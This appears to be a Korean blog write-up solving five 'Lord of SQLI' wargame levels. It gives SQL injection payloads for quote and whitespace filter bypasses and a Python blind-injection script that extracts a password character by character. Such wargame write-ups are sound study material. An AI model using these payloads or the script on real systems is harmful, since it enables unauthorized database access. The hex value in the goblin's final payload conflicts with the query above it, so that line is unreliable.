본문 바로가기
Wargame Write-Up/LOS

[Lord of SQLI] gremlin, cobolt, goblin, orc, wolfman 풀이

by snwo 2021. 5. 25.

gremlin

pw=' or '1

id 신경안쓰고, pw 조건문만 참으로 만들어주면 된다.

 

cobolt

select id from prob_cobolt where id='admin' or '1=1' and pw=md5('')


pw 를 md5 해쉬해서, 아까와 같은 방법으로는 sqli 할 수 없다.

그래서 아이디 부분을 참으로 만들고, 주석처리해서 뒷부분을 무시하게한다.

 

id=admin' or '1=1#

 

goblin

select id from prob_goblin where id='guest' and no=1 or id=0x61646d696e

 

쿼터, 더블쿼터를 쓸 수 없다. 하지만 no 를 입력받는 부분에는 쿼터가 사용되지 않아

우회할 필요가 없다. no=0 이면, guest 가 출력되니, 1 로 준다음,

admin 을 16진수화 시킨다음 문자열로 인식되게한다.

 

no=1 or id=0x61646e696e

orc

blind sqli 다. 

select id from prob_orc where id='admin' and pw='' or id='admin' and length(pw)>7 and '1'

 

먼저 다음과 같은 쿼리로 pw 의 길이를 알아냈다. (참이 뜨면 hello admin 이 출력되므로, 이걸 이용한다.)

숫자 올리다보니까 8글자 인 것을 알 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import string
s=requests.Session()
 
url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='
pw=''
for i in range(1,9):
 
        for c in range(33,126):
                query="' or id='admin' and substring(pw,{0},1)='{1}".format(i,chr(c))
                r=s.get(url+query,cookies={"PHPSESSID":"c0ljn076flosvike5iqqrua8dg"})
                if r.text.find("<h2>Hello admin</h2>")!=-1:
                        print(f"{i} : {chr(c)}")
                        pw+=chr(c)
                        break
 
print(f"[+] password found : {pw}")
 
cs

 

위 소스로 했당. 8글자중에 영어 대문자 하나 있는데, 그거 소문자로 바꿔서 인증해야한다.

 

pw=095a9852

wolfman

whitespace 를 필터링한다.

근데 %0d 로 우회할 수 있다고 한다.

 

select id from prob_wolfman where id='guest' and pw='' or id='admin' and '1'

 

pw='%0dor%0did='admin'%0dand%0d'1